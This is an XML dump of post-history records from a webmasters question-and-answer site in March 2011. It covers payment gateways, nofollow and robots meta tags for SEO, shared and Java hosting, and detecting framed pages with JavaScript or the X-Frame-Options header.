  <row Id="24992" PostHistoryTypeId="1" PostId="11086" RevisionGUID="31546178-f62e-4a8b-9970-72ded0feeaee" CreationDate="2011-03-23T11:43:07.363" UserId="6284" Text="Accepting international payments" />
  <row Id="24993" PostHistoryTypeId="3" PostId="11086" RevisionGUID="31546178-f62e-4a8b-9970-72ded0feeaee" CreationDate="2011-03-23T11:43:07.363" UserId="6284" Text="&lt;payment-gateway&gt;" />
  <row Id="24994" PostHistoryTypeId="4" PostId="11077" RevisionGUID="0d65678c-f3de-45f8-bd79-31f6d678c4b5" CreationDate="2011-03-23T11:45:26.630" UserId="1643" Comment="Fixed spelling of tomcat in title" Text="Tomcat 6.0.20-virtual hosting-grails-ui-performance plugin" />
  <row Id="24995" PostHistoryTypeId="24" PostId="11077" RevisionGUID="0d65678c-f3de-45f8-bd79-31f6d678c4b5" CreationDate="2011-03-23T11:45:26.630" Comment="Proposed by 1643 approved by 1064 edit id of 77" />
  <row Id="24996" PostHistoryTypeId="2" PostId="11087" RevisionGUID="195c5c4e-bc1c-4096-baed-40dd313d5b6c" CreationDate="2011-03-23T11:52:15.610" UserId="5739" Text="Without being a lawyer and/or reading their ToC's, I would imagine that if you added a Copyright notice to the images in either the title or alt elements then that would be ok.&#xD;&#xA;&#xD;&#xA;Better still, why not contact the marketing departments of the companies involved and ask? You might even get more out of it like access to their press packs, added to a press mailing list etc. &#xD;&#xA;&#xD;&#xA;I did this for one of my sites related to Land Rovers and now have access to the media section of their site which is great for the latest news, press photographs etc, all free and available for me to add to my site." />
  <row Id="24997" PostHistoryTypeId="2" PostId="11088" RevisionGUID="5694f82e-c4ab-4bb7-aa81-d0cb2f96d292" CreationDate="2011-03-23T11:56:50.807" UserId="1253" Text="1) Sold links either have no value or will have no value when Google finds out those links are paid for&#xD;&#xA;&#xD;&#xA;2) The site selling those links will be penalized if they do not use rel=&quot;nofollow&quot;&#xD;&#xA;&#xD;&#xA;3) The first one is ot a link but merely a URL as plain text. If there is no `&lt;a&gt;` tag used it isn't a link.&#xD;&#xA;&#xD;&#xA;4) The second example has no SEO value because rel=&quot;nofollow&quot; is used" />
  <row Id="24998" PostHistoryTypeId="2" PostId="11089" RevisionGUID="24977424-d6be-498f-b43c-a3bce283835a" CreationDate="2011-03-23T11:57:55.323" UserId="2288" Text="**&quot;SEO friendly&quot;** and **&quot;user-friendly&quot; are the same thing.** &#xD;&#xA;&#xD;&#xA;Case in point:&#xD;&#xA;&#xD;&#xA; - Users don't like **redirects**, and neither do search engines.&#xD;&#xA; - Users don't like **complex strings of words**, and neither do search engines.&#xD;&#xA;&#xD;&#xA;**So, what do &quot;they&quot; like?**&#xD;&#xA;&#xD;&#xA; - When redirects are used to manage legacy links. For example, say the link is generated from the page title, and the page title changes. Update the URL, and cache the old link as a redirect to the new page.&#xD;&#xA; - Use short, meaningful, strings of words." />
  <row Id="24999" PostHistoryTypeId="2" PostId="11090" RevisionGUID="02976f41-5187-49f8-aa10-50390af79f30" CreationDate="2011-03-23T11:58:51.960" UserId="1253" Text="&gt; For the first part, does the merchant&#xD;&#xA;&gt; handle this, or do I have to do a&#xD;&#xA;&gt; currency conversion myself?&#xD;&#xA;&#xD;&#xA;Depends on the payment provider you choose. Some will do it for you, some won't. &#xD;&#xA;&#xD;&#xA;&gt; For the second part, just simply is&#xD;&#xA;&gt; this possible to do?&#xD;&#xA;&#xD;&#xA;Depends on the payment provider you choose. But it should be possible unless Israeli credit cards are not allowed to be used internationally." />
  <row Id="25000" PostHistoryTypeId="2" PostId="11091" RevisionGUID="2d877be4-55df-40c7-9d45-8c4296f620c5" CreationDate="2011-03-23T12:58:31.470" UserId="6285" Text="No it will not effect your links on the internet since your just changing ip's the url of your content should stay the same ultimately &#xD;&#xA;&#xD;&#xA;[Absolute T-shirts new funny Tshirts on sale weekly][1].  Celebrity shirts and tv and movie series.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://absolutet-shirts.com" />
  <row Id="25001" PostHistoryTypeId="2" PostId="11092" RevisionGUID="bccbda2d-d9b7-4592-9554-e566cff7ccb7" CreationDate="2011-03-23T13:06:23.023" UserId="6285" Text="It really depends on the content if your content and links of the domain change then yes you could lose ranking. &#xD;&#xA;&#xD;&#xA;[Absolute Funny Graphic T-shirts][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.absolutet-shirts.com" />
  <row Id="25002" PostHistoryTypeId="2" PostId="11093" RevisionGUID="5825153a-188c-4839-99d7-a21bf058ae0c" CreationDate="2011-03-23T13:07:34.723" UserId="5403" Text="I've got a shared hosting account with arvixe.com.  I wanted to move my Gemini install from a server in my spare bedroom to my hosting account so I can access it over the web.&#xD;&#xA;&#xD;&#xA;Unfortunately the Gemini application is only installable by means of an .exe file ([www.geminiplatform.com/download][1]) and as I don't have RDP access to the hosting machine I can't just click 'n run. Has anyone got a workaround for this problem?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geminiplatform.com/download" />
  <row Id="25003" PostHistoryTypeId="1" PostId="11093" RevisionGUID="5825153a-188c-4839-99d7-a21bf058ae0c" CreationDate="2011-03-23T13:07:34.723" UserId="5403" Text="Is there any way to install applications onto a shared hosting account?" />
  <row Id="25004" PostHistoryTypeId="3" PostId="11093" RevisionGUID="5825153a-188c-4839-99d7-a21bf058ae0c" CreationDate="2011-03-23T13:07:34.723" UserId="5403" Text="&lt;shared-hosting&gt;&lt;web-applications&gt;" />
  <row Id="25005" PostHistoryTypeId="5" PostId="11092" RevisionGUID="c2d54d39-4b6b-4007-ad2b-82fa8dcdfd32" CreationDate="2011-03-23T13:08:02.357" UserId="1253" Comment="removed spam link" Text="It really depends on the content if your content and links of the domain change then yes you could lose ranking. &#xD;&#xA;" />
  <row Id="25006" PostHistoryTypeId="5" PostId="11091" RevisionGUID="e55bfd23-6b14-4ad5-9a46-5b62e5e061fb" CreationDate="2011-03-23T13:08:17.987" UserId="1253" Comment="Removed self promotional link" Text="No it will not effect your links on the internet since your just changing ip's the url of your content should stay the same ultimately &#xD;&#xA;" />
  <row Id="25007" PostHistoryTypeId="2" PostId="11094" RevisionGUID="76b428ac-cf7c-4921-9cc1-87db30d50651" CreationDate="2011-03-23T13:11:44.210" UserId="1253" Text="You could ask the host if they'll install it but the odds are they won't as they don't want to risk messing up the server for one shared hosting client. If you need custom software on your server then you need to look into a dedicated server or a VPS. You can install and configure those servers any way you need to as it only affects you. Of course those plans cost a lot more then shared hosting does." />
  <row Id="25008" PostHistoryTypeId="17" PostId="11096" RevisionGUID="6085f267-4a0a-41d0-b310-409bf68391ef" CreationDate="2011-03-23T13:14:23.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5402059/google-apps-engine-real-time-monitoring/5402825#5402825" Text="" />
  <row Id="25009" PostHistoryTypeId="2" PostId="11096" RevisionGUID="300658e2-54ee-4857-8347-b36b8a073c90" CreationDate="2011-03-23T09:00:06.660" UserDisplayName="Chris Farmiloe" Text="[Appstats](http://code.google.com/appengine/docs/python/tools/appstats.html) will give you more indepth information about your requests with an aim to helping you optimise your rpc queries.&#xD;&#xA;&#xD;&#xA;If you want to monitor how your users are interacting with your webapp then you should look at using something like [Google Analytics](http://www.google.com/analytics), [Mixpanel](http://mixpanel.com/) or [Kissmetrics](http://kissmetrics.com/)" />
  <row Id="25010" PostHistoryTypeId="2" PostId="11095" RevisionGUID="9ecaedd4-d2d1-4e4a-a5db-9238c39555a9" CreationDate="2011-03-23T07:30:01.083" UserDisplayName="Lukas Šalkauskas" Text="I have a web app which are running on google apps engine, is there any way to have real time usage monitoring (like traffic, cpu, etc..), I know there is standard dashboard, but I want to have more details in one place. Like see whats IP are connected, how many requests each produces and etc.&#xD;&#xA;&#xD;&#xA;So maybe anyone have some input on this ?" />
  <row Id="25011" PostHistoryTypeId="1" PostId="11095" RevisionGUID="9ecaedd4-d2d1-4e4a-a5db-9238c39555a9" CreationDate="2011-03-23T07:30:01.083" UserDisplayName="Lukas Šalkauskas" Text="Google Apps Engine real time monitoring." />
  <row Id="25012" PostHistoryTypeId="3" PostId="11095" RevisionGUID="9ecaedd4-d2d1-4e4a-a5db-9238c39555a9" CreationDate="2011-03-23T07:30:01.083" UserDisplayName="Lukas Šalkauskas" Text="&lt;google-app-engine&gt;&lt;monitoring&gt;" />
  <row Id="25013" PostHistoryTypeId="17" PostId="11095" RevisionGUID="403dc122-6769-4ee5-8f38-c5b654d72019" CreationDate="2011-03-23T13:14:23.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5402059/google-apps-engine-real-time-monitoring" Text="" />
  <row Id="25014" PostHistoryTypeId="6" PostId="11086" RevisionGUID="e4dcdb75-cf7f-4503-8d57-e6ec32c3bc14" CreationDate="2011-03-23T13:15:30.373" UserId="1253" Comment="Added &quot;payments&quot; tag" Text="&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="25015" PostHistoryTypeId="2" PostId="11097" RevisionGUID="3d144298-b6ab-4c97-b2f5-0c01b586fd04" CreationDate="2011-03-23T13:26:44.857" UserDisplayName="kdorival" Text="Hi I'm having problems with our website, http://www.accessiblehomehealthcare.com, which is a wordpress 2.7 (version).  All of a sudden our RSS links broke on the right side, which has happened before and I fixed it within 5 mins.  Now, when I fix it, it doesn't look right in different version of I.E. or Firefox, I have I.E. 8 and Firefox 3.6.15 and it looks good for the most part, but there are a few parts where the links are broken.  One browser the links would look ok but go to another page and the links or logos would be broken. Certain parts of the website should be static(identical) to the other pages of the site, but if a link is broken on one page, its perfect on another page. &#xD;&#xA;&#xD;&#xA;I was wondering was there a secret code for wordpress to keep the sites compatible with all browser versions  or is there a bigger issue????&#xD;&#xA;&#xD;&#xA;Any help or suggestions will help???&#xD;&#xA;" />
  <row Id="25016" PostHistoryTypeId="1" PostId="11097" RevisionGUID="3d144298-b6ab-4c97-b2f5-0c01b586fd04" CreationDate="2011-03-23T13:26:44.857" UserDisplayName="kdorival" Text="Broken Links in differnt browsers" />
  <row Id="25017" PostHistoryTypeId="3" PostId="11097" RevisionGUID="3d144298-b6ab-4c97-b2f5-0c01b586fd04" CreationDate="2011-03-23T13:26:44.857" UserDisplayName="kdorival" Text="&lt;wordpress&gt;&lt;browsers&gt;&lt;internet-explorer-7&gt;" />
  <row Id="25018" PostHistoryTypeId="17" PostId="11097" RevisionGUID="5f151735-4b22-4ce6-af1c-acea9e8ae772" CreationDate="2011-03-23T13:31:36.403" UserId="-1" Comment="from http://stackoverflow.com/questions/5405925/broken-links-in-differnt-browsers" Text="" />
  <row Id="25019" PostHistoryTypeId="2" PostId="11098" RevisionGUID="89bee407-d7ba-4a3e-bf5b-f1cfa3637a03" CreationDate="2011-03-23T13:55:33.787" UserId="2288" Text="Wondering if there's a way to detect a page load was done inside a frame, iframe, etc. (likely via JavaScript) and if so, what are the limits of such a detection system?" />
  <row Id="25020" PostHistoryTypeId="1" PostId="11098" RevisionGUID="89bee407-d7ba-4a3e-bf5b-f1cfa3637a03" CreationDate="2011-03-23T13:55:33.787" UserId="2288" Text="Is there a way to tell if a page load was done inside a frame, iframe, etc.?" />
  <row Id="25021" PostHistoryTypeId="3" PostId="11098" RevisionGUID="89bee407-d7ba-4a3e-bf5b-f1cfa3637a03" CreationDate="2011-03-23T13:55:33.787" UserId="2288" Text="&lt;fraud-detection&gt;" />
  <row Id="25022" PostHistoryTypeId="2" PostId="11099" RevisionGUID="0479d645-1ebd-44cd-ae24-3c87e32f1139" CreationDate="2011-03-23T13:57:17.423" UserId="1253" Text="    if (top.location.href != window.location.href) {&#xD;&#xA;         alert(&quot;In A Frame&quot;);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The limit is if JavaScript is turned off it won't work." />
  <row Id="25023" PostHistoryTypeId="5" PostId="11099" RevisionGUID="574b884b-cd83-402a-9c71-086c8f7c3ee7" CreationDate="2011-03-23T14:03:14.237" UserId="1253" Comment="added 197 characters in body; added 950 characters in body; deleted 58 characters in body; added 4 characters in body; deleted 122 characters in body; deleted 126 characters in body" Text="    if (top.location.href != window.location.href) {&#xD;&#xA;         alert(&quot;In A Frame&quot;);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The limit is if JavaScript is turned off it won't work.&#xD;&#xA;&#xD;&#xA;You can also use the [X-Frame-Options][1] HTTP header. This header tells a web browser whether or not to allow a web page to be framed in another web page. This includes `&lt;frame&gt;` and `&lt;iframe&gt;` tags. &#xD;&#xA; &#xD;&#xA;There are two possible values for this header:&#xD;&#xA; &#xD;&#xA;**DENY** - This setting prevents any pages served from being placed in a frame even if it is on the same website it originates from. should be used if you never intend for your pages to be used inside of a frame.&#xD;&#xA;&#xD;&#xA;**SAMEORIGIN** - This setting allows pages to be served in a frame of a page on the same website. If an external site attempts to load the page in a frame the request will be denied.&#xD;&#xA; &#xD;&#xA;This header works in Internet Explorer 8.0, Firefox 3.6.9, Opera 10.50, Safari 4.0, and Chrome 4.1. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/the_x-frame-options_response_header" />
  <row Id="25024" PostHistoryTypeId="2" PostId="11100" RevisionGUID="22c0e189-27ac-445d-a601-e25fc14faf85" CreationDate="2011-03-23T14:55:59.490" UserId="5776" Text="I have been informed that search engine support is inconsistent for the rel attribute with the 'nofollow' value.&#xD;&#xA;&#xD;&#xA;Is this the case.&#xD;&#xA;&#xD;&#xA;From my research Google, Yahoo and Bing seem to obey this attribute and will NOT follow links with it present.&#xD;&#xA;&#xD;&#xA;I need to be sure before questioning the integrity of the SEO team :)" />
  <row Id="25025" PostHistoryTypeId="1" PostId="11100" RevisionGUID="22c0e189-27ac-445d-a601-e25fc14faf85" CreationDate="2011-03-23T14:55:59.490" UserId="5776" Text="Do all search engines obey nofollow rel attribute on hyperlinks" />
  <row Id="25026" PostHistoryTypeId="3" PostId="11100" RevisionGUID="22c0e189-27ac-445d-a601-e25fc14faf85" CreationDate="2011-03-23T14:55:59.490" UserId="5776" Text="&lt;seo&gt;&lt;google&gt;&lt;crawling&gt;&lt;bing&gt;&lt;nofollow&gt;" />
  <row Id="25027" PostHistoryTypeId="2" PostId="11101" RevisionGUID="fa8b5117-1e53-4402-8873-666d037287c0" CreationDate="2011-03-23T15:00:53.197" UserId="1253" Text="All of the major search engines have acknowledged support for rel=&quot;nofollow&quot;&#xD;&#xA;&#xD;&#xA;From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; While all engines that use the&#xD;&#xA;&gt; nofollow value exclude links that use&#xD;&#xA;&gt; it from their ranking calculation, the&#xD;&#xA;&gt; details about the exact interpretation&#xD;&#xA;&gt; of it vary from search engine to&#xD;&#xA;&gt; search engine.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Google states that their engine takes&#xD;&#xA;&gt; &quot;nofollow&quot; literally and does not&#xD;&#xA;&gt; &quot;follow&quot; the link at all. However,&#xD;&#xA;&gt; experiments conducted by SEOs show&#xD;&#xA;&gt; conflicting results. These studies&#xD;&#xA;&gt; reveal that Google does follow the&#xD;&#xA;&gt; link, but does not index the linked-to&#xD;&#xA;&gt; page, unless it was in Google's index&#xD;&#xA;&gt; already for other reasons (such as&#xD;&#xA;&gt; other, non-nofollow links that point&#xD;&#xA;&gt; to the page).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Yahoo! &quot;follows it&quot;, but excludes it&#xD;&#xA;&gt; from their ranking calculation.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Bing respects &quot;nofollow&quot; as regards&#xD;&#xA;&gt; not counting the link in their&#xD;&#xA;&gt; ranking, but it is not proven whether&#xD;&#xA;&gt; or not Bing follows the link.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ask.com also respects the attribute.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Nofollow" />
  <row Id="25028" PostHistoryTypeId="2" PostId="11102" RevisionGUID="2210c5c9-c835-4d5f-9146-0ee8a2cff9f8" CreationDate="2011-03-23T15:33:10.250" UserId="3590" Text="Is there *any* if so, *what* is the difference between these two?&#xD;&#xA;In order to allow everything a search engines wishes for&#xD;&#xA;&#xD;&#xA;`&lt;META NAME=&quot;robots&quot; CONTENT=&quot;index, follow&quot;&gt;`&#xD;&#xA;&#xD;&#xA;`&lt;META NAME=&quot;robots&quot; CONTENT=&quot;all&quot;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25029" PostHistoryTypeId="1" PostId="11102" RevisionGUID="2210c5c9-c835-4d5f-9146-0ee8a2cff9f8" CreationDate="2011-03-23T15:33:10.250" UserId="3590" Text="robots &quot;INDEX,FOLLOW&quot; vs &quot;ALL&quot; is there any difference?" />
  <row Id="25030" PostHistoryTypeId="3" PostId="11102" RevisionGUID="2210c5c9-c835-4d5f-9146-0ee8a2cff9f8" CreationDate="2011-03-23T15:33:10.250" UserId="3590" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;yahoo&gt;&lt;seo-friendly&gt;" />
  <row Id="25031" PostHistoryTypeId="2" PostId="11103" RevisionGUID="7ea8a360-43bf-4da5-bf39-2e2b3b704f99" CreationDate="2011-03-23T15:36:05.380" UserId="1253" Text="They both have one thing in common: they do nothing. By default search engines and robots will crawl and index everything which makes those tags redundant and unnecessary. The meta robots tag is to be used when you want to **prevent** content from being crawled and or indexed." />
  <row Id="25032" PostHistoryTypeId="2" PostId="11104" RevisionGUID="16f5ebc5-f071-4e52-83b0-eb24f784b74f" CreationDate="2011-03-23T15:37:57.193" UserId="5739" Text="&quot;all&quot; isn't a valid attribute.&#xD;&#xA;&#xD;&#xA;Valid values for the &quot;CONTENT&quot; attribute are: &quot;INDEX&quot;, &quot;NOINDEX&quot;, &quot;FOLLOW&quot;, &quot;NOFOLLOW&quot;. &#xD;&#xA;&#xD;&#xA;&quot;INDEX,FOLLOW&quot; is he default behaviour so the 1st example won't make any difference.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25033" PostHistoryTypeId="12" PostId="11104" RevisionGUID="5c7b2e38-742a-43d5-a2d8-861706148dab" CreationDate="2011-03-23T15:39:18.503" UserId="5739" Text="[{&quot;Id&quot;:5739,&quot;DisplayName&quot;:&quot;Digital Essence&quot;}]" />
  <row Id="25034" PostHistoryTypeId="13" PostId="11104" RevisionGUID="40113e37-949d-4e0d-a739-45745f06546c" CreationDate="2011-03-23T15:43:04.620" UserId="5739" Text="[{&quot;Id&quot;:5739,&quot;DisplayName&quot;:&quot;Digital Essence&quot;}]" />
  <row Id="25035" PostHistoryTypeId="2" PostId="11105" RevisionGUID="524f8372-3d46-48b6-95a6-f38edcc44779" CreationDate="2011-03-23T15:46:28.663" UserId="2456" Text="I'm from Europe and i want buy some payment gateway for internet credit/debit card processing.&#xD;&#xA;&#xD;&#xA;I have a problem because PayPal and Authorize.net solutions is best but only from US and Canada users.&#xD;&#xA;&#xD;&#xA;What Europe Payment Gateway you recommend me? I can use US PayPal when i not in US? Is some workaround?&#xD;&#xA;&#xD;&#xA;I'm from Poland, WorldPay is to cost for me, i searching some solution around authorize.net and PayPal solution.&#xD;&#xA;&#xD;&#xA;Greetings&#xD;&#xA;" />
  <row Id="25036" PostHistoryTypeId="1" PostId="11105" RevisionGUID="524f8372-3d46-48b6-95a6-f38edcc44779" CreationDate="2011-03-23T15:46:28.663" UserId="2456" Text="Setup Payment Gateway from Europe" />
  <row Id="25037" PostHistoryTypeId="3" PostId="11105" RevisionGUID="524f8372-3d46-48b6-95a6-f38edcc44779" CreationDate="2011-03-23T15:46:28.663" UserId="2456" Text="&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="25038" PostHistoryTypeId="5" PostId="11104" RevisionGUID="6c1f70d7-61c5-4afd-98fa-fcf64d5fef24" CreationDate="2011-03-23T15:47:17.630" UserId="5739" Comment="deleted 9 characters in body" Text="&quot;all&quot; isn't a valid attribute.&#xD;&#xA;&#xD;&#xA;Valid values for the attribute are: &quot;INDEX&quot;, &quot;NOINDEX&quot;, &quot;FOLLOW&quot;, &quot;NOFOLLOW&quot;. &#xD;&#xA;&#xD;&#xA;&quot;INDEX,FOLLOW&quot; is the default behaviour so neither examples will make any difference.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25039" PostHistoryTypeId="5" PostId="11105" RevisionGUID="816c701f-1705-43ea-bac1-94de0955c904" CreationDate="2011-03-23T15:56:13.063" UserId="2456" Comment="deleted 96 characters in body" Text="I'm from Europe and i want buy some payment gateway for internet credit/debit card processing.&#xD;&#xA;&#xD;&#xA;I have a problem because PayPal and Authorize.net solutions is best but only from US and Canada users.&#xD;&#xA;&#xD;&#xA;What Europe Payment Gateway you recommend me? I can use US PayPal when i not in US? Is some workaround?&#xD;&#xA;&#xD;&#xA;I'm from Poland.&#xD;&#xA;&#xD;&#xA;Greetings&#xD;&#xA;" />
  <row Id="25040" PostHistoryTypeId="2" PostId="11106" RevisionGUID="048bfc4e-ebb5-4c08-a6e1-d4482e68774a" CreationDate="2011-03-23T16:08:59.657" UserId="1253" Text="Authorize.Net is only available in the US as it only works with US based merchant accounts so that rules them out.&#xD;&#xA;&#xD;&#xA;Paypal does offer its services in Poland so they definitely are an option for you.&#xD;&#xA;&#xD;&#xA;The third best option is probably Worldpay. Their rates seem to be the most competitive outside of the US and Paypal." />
  <row Id="25041" PostHistoryTypeId="2" PostId="11107" RevisionGUID="210519b0-597c-45fe-a86f-6a85f7741ed3" CreationDate="2011-03-23T16:14:26.807" UserId="5739" Text="Try these sites: You can post a project and freelancers will contact you.&#xD;&#xA;&#xD;&#xA;[http://www.freelancers.net/][1]&#xD;&#xA;&#xD;&#xA;[http://www.freelancer.com/][2]&#xD;&#xA;&#xD;&#xA;[http://www.guru.com/][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freelancers.net/&#xD;&#xA;  [2]: http://www.freelancer.com/&#xD;&#xA;  [3]: http://www.guru.com/" />
  <row Id="25042" PostHistoryTypeId="2" PostId="11108" RevisionGUID="ceb36e0f-9747-4ae5-9573-e1e7cb068653" CreationDate="2011-03-23T16:31:10.287" UserId="6290" Text="I have a similar issue. The them is well installed and looks great. But the content on pages and post do not appear when you preview the website. You can only see them in the dash board. Can anyone help?&#xD;&#xA;my website is http://a-1duicounselingservices.com/" />
  <row Id="25043" PostHistoryTypeId="5" PostId="10640" RevisionGUID="67c91ba8-6987-40c3-a653-0b254095188f" CreationDate="2011-03-23T16:33:07.540" UserId="1429" Comment="deleted 330 characters in body; edited tags; edited title" Text="**From a SEO point of view, would you exclude forms from being indexed/crawled by Google or not?**&#xD;&#xA;&#xD;&#xA;I mean my forms hardly ever contains keyword/keyphrases.&#xD;&#xA;&#xD;&#xA;So I'm wondering what's the point of letting Google index them?&#xD;&#xA;&#xD;&#xA;Moreover I think these form pages might reduce PR of all other pages in the site linking to those forms.&#xD;&#xA;&#xD;&#xA;If your answer is &quot;yes I would exclude them form indexing&quot; would you simply use robots.txt to exclude them?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="25044" PostHistoryTypeId="4" PostId="10640" RevisionGUID="67c91ba8-6987-40c3-a653-0b254095188f" CreationDate="2011-03-23T16:33:07.540" UserId="1429" Comment="deleted 330 characters in body; edited tags; edited title" Text="SEO: disallowing Google from indexing forms?" />
  <row Id="25045" PostHistoryTypeId="6" PostId="10640" RevisionGUID="67c91ba8-6987-40c3-a653-0b254095188f" CreationDate="2011-03-23T16:33:07.540" UserId="1429" Comment="deleted 330 characters in body; edited tags; edited title" Text="&lt;seo&gt;&lt;robots.txt&gt;&lt;forms&gt;" />
  <row Id="25046" PostHistoryTypeId="2" PostId="11109" RevisionGUID="f146bd38-4847-42d3-ac3c-3319fa60e4a0" CreationDate="2011-03-23T16:36:48.130" UserId="6184" Text="Try http://www.odesk.com. Make sure you:&#xD;&#xA;&#xD;&#xA; - Ask to see some work they've done before.&#xD;&#xA; - Ask them to complete a small task (e.g. 2-3 hours work) for you first, and see how it goes.&#xD;&#xA;&#xD;&#xA;Also try http://99designs.com " />
  <row Id="25047" PostHistoryTypeId="5" PostId="10640" RevisionGUID="c4f6fc0c-5599-43f2-b9a1-a054d9daa866" CreationDate="2011-03-23T16:39:50.810" UserId="1429" Comment="added 29 characters in body" Text="**From a SEO point of view, would you exclude forms from being indexed/crawled by Google or not?**&#xD;&#xA;&#xD;&#xA;I mean my forms hardly ever contains keyword/keyphrases.&#xD;&#xA;&#xD;&#xA;So I'm wondering what's the point of letting Google index them?&#xD;&#xA;&#xD;&#xA;Moreover I think these form-pages might reduce PR of all other pages in the site cause the other pages are linking to the form-pages.&#xD;&#xA;&#xD;&#xA;If your answer is &quot;yes I would exclude them form indexing&quot; would you simply use robots.txt to exclude them?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="25048" PostHistoryTypeId="2" PostId="11110" RevisionGUID="64b711c2-1343-49d6-9f80-215e2f184a99" CreationDate="2011-03-23T16:40:08.827" UserId="6184" Text="It sounds like you might have some old information in your browser cache. Make sure you have completely cleared out all the caches from your browser before you begin testing. This way you are likely to see the same thing in every browser." />
  <row Id="25049" PostHistoryTypeId="2" PostId="11111" RevisionGUID="cce947da-a922-49dd-bbbe-16e4dda70a1e" CreationDate="2011-03-23T15:22:58.753" UserDisplayName="Davis" Text="How do you disable free shipping in Magento if total weight of the products in the cart exceed 0 kgs? &#xD;&#xA;" />
  <row Id="25050" PostHistoryTypeId="1" PostId="11111" RevisionGUID="cce947da-a922-49dd-bbbe-16e4dda70a1e" CreationDate="2011-03-23T15:22:58.753" UserDisplayName="Davis" Text="Magento : How to disable &quot;free shipping&quot; if total weight is greater than 0kg?" />
  <row Id="25051" PostHistoryTypeId="3" PostId="11111" RevisionGUID="cce947da-a922-49dd-bbbe-16e4dda70a1e" CreationDate="2011-03-23T15:22:58.753" UserDisplayName="Davis" Text="&lt;magento&gt;&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="25052" PostHistoryTypeId="17" PostId="11111" RevisionGUID="a5a00743-258e-42ad-8f37-dfe50f09f743" CreationDate="2011-03-23T16:40:18.870" UserId="-1" Comment="from http://stackoverflow.com/questions/5407540/magento-how-to-disable-free-shipping-if-total-weight-is-greater-than-0kg" Text="" />
  <row Id="25053" PostHistoryTypeId="5" PostId="10642" RevisionGUID="434f5647-a195-49e0-84c8-6a1ce58ed4fe" CreationDate="2011-03-23T17:08:20.330" UserId="1253" Comment="added 258 characters in body; added 171 characters in body" Text="iFrames and frames in general are not search engine friendly and I would not expect them to be indexed. However, that doesn't mean they won't be indexed now or in the future. If your goal is to keep that content out of the search engines you should be explicitly blocking it with robots.txt or the x-robots.tag header.&#xD;&#xA;&#xD;&#xA;FYI, blocking this is silly because:&#xD;&#xA;&#xD;&#xA;1) Content has nothing to do with PR at all&#xD;&#xA;&#xD;&#xA;2) If the form covers content related to the site you're removing keywords and content from your website that can help you rank better.&#xD;&#xA;&#xD;&#xA;3) Frames are not very accessible so you're alienating some of your users.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;My answer is still don't block them. You gain nothing and only potentially hurt yourself by blocking pages that have to them and from them. Internal linking is important and clearly being overlooked here.&#xD;&#xA;&#xD;&#xA;But if you're going to block them using the x-robots-tag header is ideal as robots.txt is not always honored as you would expect with the search engines. Of course, using both is probably the safest bet." />
  <row Id="25054" PostHistoryTypeId="25" PostId="11102" RevisionGUID="e98bc2a2-046e-4ac1-a14d-88cb7d63cfd2" CreationDate="2011-03-23T17:30:28.800" Comment="http://twitter.com/#!/StackWebmasters/status/50610376634662912" />
  <row Id="25055" PostHistoryTypeId="2" PostId="11112" RevisionGUID="4f1f91dd-c659-4520-b1ba-0407604178ba" CreationDate="2011-03-23T17:23:31.423" UserDisplayName="Rahul Utb" Text="I want to host a Java web application. How to decide which hosting service provider to choose from.&#xD;&#xA;Is there any source of info where from I can get such info. &#xD;&#xA;Yes most important, being from India which service provider service should I use, from those who say there servers are located in US or they who say their servers are located in India itself.&#xD;&#xA;&#xD;&#xA;Thanks in advance from any suggestion/reply to this query." />
  <row Id="25056" PostHistoryTypeId="1" PostId="11112" RevisionGUID="4f1f91dd-c659-4520-b1ba-0407604178ba" CreationDate="2011-03-23T17:23:31.423" UserDisplayName="Rahul Utb" Text="Java hosting service provider?" />
  <row Id="25057" PostHistoryTypeId="3" PostId="11112" RevisionGUID="4f1f91dd-c659-4520-b1ba-0407604178ba" CreationDate="2011-03-23T17:23:31.423" UserDisplayName="Rahul Utb" Text="&lt;service&gt;&lt;web-hosting&gt;" />
  <row Id="25058" PostHistoryTypeId="17" PostId="11112" RevisionGUID="542a71a6-7bcb-4e47-b914-59a793f84456" CreationDate="2011-03-23T17:35:24.767" UserId="-1" Comment="from http://stackoverflow.com/questions/5409186/java-hosting-service-provider" Text="" />
  <row Id="25059" PostHistoryTypeId="2" PostId="11113" RevisionGUID="1fe9c2b9-e691-4ed2-a1ca-3d4a3d48a3ef" CreationDate="2011-03-23T17:42:39.087" UserId="706" Text="You can use [Google App Engine][1] or use a Linux VPS and install [Jetty][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/intl/sv-SE/appengine/&#xD;&#xA;  [2]: http://www.eclipse.org/jetty/" />
  <row Id="25060" PostHistoryTypeId="2" PostId="11114" RevisionGUID="9c3063ec-418e-43dd-b93e-191a0b83cd24" CreationDate="2011-03-23T17:48:51.550" UserId="6293" Text="I've had a good experience with &lt;a href=&quot;http://www.cheap-jsp-hosting.com/&quot;&gt;Java Web Hosting&lt;/a&gt; for my pscode.org site &amp; 3 others.  They have reliable servers and offer great service/support." />
